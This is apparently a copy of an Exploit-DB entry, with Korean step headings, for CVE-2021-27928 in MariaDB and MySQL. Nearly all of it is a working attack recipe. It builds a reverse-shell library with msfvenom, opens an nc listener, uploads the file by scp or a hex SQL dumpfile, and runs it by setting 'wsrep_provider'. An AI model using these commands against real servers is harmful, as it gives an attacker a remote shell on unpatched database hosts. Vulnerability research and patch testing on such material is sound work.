
CVE-2021-27928 MariaDB/MySQL-'wsrep provider' 명령 주입 취약점
Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
Date: 03/18/2021
Exploit Author: Central InfoSec
Version:
MariaDB 10.2 before 10.2.37
10.3 before 10.3.28
10.4 before 10.4.18
10.5 before 10.5.9
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
Tested on: Linux
CVE : CVE-2021-27928
단계 1: 리버스 셸 페이로드 생성
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

단계 2: 리스너 시작
nc -lnvp <port>

단계 3: 대상 머신에 페이로드 복사
SCP를 통해
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
Dumpfile 사용
python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';
단계 4: 페이로드 실행
mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

https://www.exploit-db.com/exploits/49765
https://jira.mariadb.org/browse/MDEV-25179
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928